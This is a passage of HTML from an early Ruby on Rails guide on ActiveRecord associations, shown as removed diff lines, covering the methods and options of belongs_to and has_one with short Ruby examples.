-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
- <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Billing
- <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>supplier
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
- <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"MyApplication::Billing::Account"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Billing
- <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>supplier<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"MyApplication::Business::Supplier"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_detailed_association_reference">4. Detailed Association Reference</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.</p></div>
-<h3 id="_the_tt_belongs_to_tt_association_2">4.1. The <tt>belongs_to</tt> Association</h3>
-<div class="paragraph"><p>The <tt>belongs_to</tt> association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use <tt>has_one</tt> instead.</p></div>
-<h4 id="_methods_added_by_tt_belongs_to_tt">4.1.1. Methods Added by <tt>belongs_to</tt></h4>
-<div class="paragraph"><p>When you declare a <tt>belongs_to</tt> assocation, the declaring class automatically gains five methods related to the association:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt><em>association</em>(force_reload = false)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>association</em>=(associate)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>association</em>.nil?</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>build<em>_association</em>(attributes = {})</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>create<em>_association</em>(attributes = {})</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>belongs_to</tt>. For example, given the declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Each instance of the order model will have these methods:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>customer
-customer<span style="color: #990000">=</span>
-customer<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
-build_customer
-create_customer</tt></pre></div></div>
-<h5 id="_tt_em_association_em_force_reload_false_tt"><tt><em>association</em>(force_reload = false)</tt></h5>
-<div class="paragraph"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer</tt></pre></div></div>
-<div class="paragraph"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
-<h5 id="_tt_em_association_em_associate_tt"><tt><em>association</em>=(associate)</tt></h5>
-<div class="paragraph"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object&#8217;s foreign key to the same value.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span><span style="color: #990000">.</span>customer <span style="color: #990000">=</span> <span style="color: #009900">@customer</span></tt></pre></div></div>
-<h5 id="_tt_em_association_em_nil_tt"><tt><em>association</em>.nil?</tt></h5>
-<div class="paragraph"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
- <span style="color: #009900">@msg</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"No customer found for this order"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_build_em_association_em_attributes_tt"><tt>build<em>_association</em>(attributes = {})</tt></h5>
-<div class="paragraph"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object&#8217;s foreign key will be set, but the associated object will <em>not</em> yet be saved.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>build_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=&gt;</span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h5 id="_tt_create_em_association_em_attributes_tt"><tt>create<em>_association</em>(attributes = {})</tt></h5>
-<div class="paragraph"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object&#8217;s foreign key will be set. In addition, the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>create_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=&gt;</span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h4 id="_options_for_tt_belongs_to_tt">4.1.2. Options for <tt>belongs_to</tt></h4>
-<div class="paragraph"><p>In many situations, you can use the default behavior of <tt>belongs_to</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>belongs_to</tt> association. For example, an association with several options might look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"active = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>belongs_to</tt> association supports these options:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:class_name</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:conditions</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:counter_cache</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:dependent</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:foreign_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:include</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:polymorphic</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:readonly</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:select</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:validate</tt>
-</p>
-</li>
-</ul></div>
-<h5 id="_tt_class_name_tt"><tt>:class_name</tt></h5>
-<div class="paragraph"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is <tt>Patron</tt>, you&#8217;d set things up this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Patron"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_conditions_tt"><tt>:conditions</tt></h5>
-<div class="paragraph"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"active = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_counter_cache_tt"><tt>:counter_cache</tt></h5>
-<div class="paragraph"><p>The <tt>:counter_cache</tt> option can be used to make finding the number of belonging objects more efficient. Consider these models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>With these declarations, asking for the value of <tt>@customer.orders.size</tt> requires making a call to the database to perform a <tt>COUNT(*)</tt> query. To avoid this call, you can add a counter cache to the <em>belonging</em> model:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>With this declaration, Rails will keep the cache value up to date, and then return that value in response to the <tt>.size</tt> method.</p></div>
-<div class="paragraph"><p>Although the <tt>:counter_cache</tt> option is specified on the model that includes the <tt>belongs_to</tt> declaration, the actual column must be added to the <em>associated</em> model. In the case above, you would need to add a column named <tt>orders_count</tt> to the <tt>Customer</tt> model. You can override the default column name if you need to:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>count_of_orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Counter cache columns are added to the containing model&#8217;s list of read-only attributes through <tt>attr_readonly</tt>.</p></div>
-<h5 id="_tt_dependent_tt"><tt>:dependent</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">You should not specify this option on a <tt>belongs_to</tt> association that is connected with a <tt>has_many</tt> association on the other class. Doing so can lead to orphaned records in your database.</td>
-</tr></table>
-</div>
-<h5 id="_tt_foreign_key_tt"><tt>:foreign_key</tt></h5>
-<div class="paragraph"><p>By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Patron"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"patron_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
-</tr></table>
-</div>
-<h5 id="_tt_include_tt"><tt>:include</tt></h5>
-<div class="paragraph"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>order
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer
- has_many <span style="color: #990000">:</span>line_items
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you frequently retrieve customers directly from line items (<tt>@line_item.order.customer</tt>), then you can make your code somewhat more efficient by including customers in the association from line items to orders:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>order<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer
- has_many <span style="color: #990000">:</span>line_items
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">There&#8217;s no need to use <tt>:include</tt> for immediate associations - that is, if you have <tt>Order belongs_to :customer</tt>, then the customer is eager-loaded automatically when it&#8217;s needed.</td>
-</tr></table>
-</div>
-<h5 id="_tt_polymorphic_tt"><tt>:polymorphic</tt></h5>
-<div class="paragraph"><p>Passing <tt>true</tt> to the <tt>:polymorphic</tt> option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.</p></div>
-<h5 id="_tt_readonly_tt"><tt>:readonly</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
-<h5 id="_tt_select_tt"><tt>:select</tt></h5>
-<div class="paragraph"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you set the <tt>:select</tt> option on a <tt>belongs_to</tt> association, you should also set the <tt>foreign_key</tt> option to guarantee the correct results.</td>
-</tr></table>
-</div>
-<h5 id="_tt_validate_tt"><tt>:validate</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
-<h4 id="_when_are_objects_saved">4.1.3. When are Objects Saved?</h4>
-<div class="paragraph"><p>Assigning an object to a <tt>belongs_to</tt> association does <em>not</em> automatically save the object. It does not save the associated object either.</p></div>
-<h3 id="_the_has_one_association">4.2. The has_one Association</h3>
-<div class="paragraph"><p>The <tt>has_one</tt> association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use <tt>belongs_to</tt> instead.</p></div>
-<h4 id="_methods_added_by_tt_has_one_tt">4.2.1. Methods Added by <tt>has_one</tt></h4>
-<div class="paragraph"><p>When you declare a <tt>has_one</tt> association, the declaring class automatically gains five methods related to the association:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt><em>association</em>(force_reload = false)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>association</em>=(associate)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>association</em>.nil?</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>build<em>_association</em>(attributes = {})</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>create<em>_association</em>(attributes = {})</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>has_one</tt>. For example, given the declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Each instance of the <tt>Supplier</tt> model will have these methods:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>account
-account<span style="color: #990000">=</span>
-account<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
-build_account
-create_account</tt></pre></div></div>
-<h5 id="_tt_em_association_em_force_reload_false_tt_2"><tt><em>association</em>(force_reload = false)</tt></h5>
-<div class="paragraph"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account</tt></pre></div></div>
-<div class="paragraph"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
-<h5 id="_tt_em_association_em_associate_tt_2"><tt><em>association</em>=(associate)</tt></h5>
-<div class="paragraph"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object&#8217;s foreign key to the same value.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@suppler</span><span style="color: #990000">.</span>account <span style="color: #990000">=</span> <span style="color: #009900">@account</span></tt></pre></div></div>
-<h5 id="_tt_em_association_em_nil_tt_2"><tt><em>association</em>.nil?</tt></h5>
-<div class="paragraph"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
- <span style="color: #009900">@msg</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"No account found for this supplier"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_build_em_association_em_attributes_tt_2"><tt>build<em>_association</em>(attributes = {})</tt></h5>
-<div class="paragraph"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will <em>not</em> yet be saved.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>build_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h5 id="_tt_create_em_association_em_attributes_tt_2"><tt>create<em>_association</em>(attributes = {})</tt></h5>
-<div class="paragraph"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>create_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h4 id="_options_for_tt_has_one_tt">4.2.2. Options for <tt>has_one</tt></h4>
-<div class="paragraph"><p>In many situations, you can use the default behavior of <tt>has_one</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_one</tt> association. For example, an association with several options might look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Billing"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>dependent <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>nullify
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>has_one</tt> association supports these options:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:as</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:class_name</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:conditions</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:dependent</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:foreign_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:include</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:order</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:primary_key</tt>
-</p>
-</li>
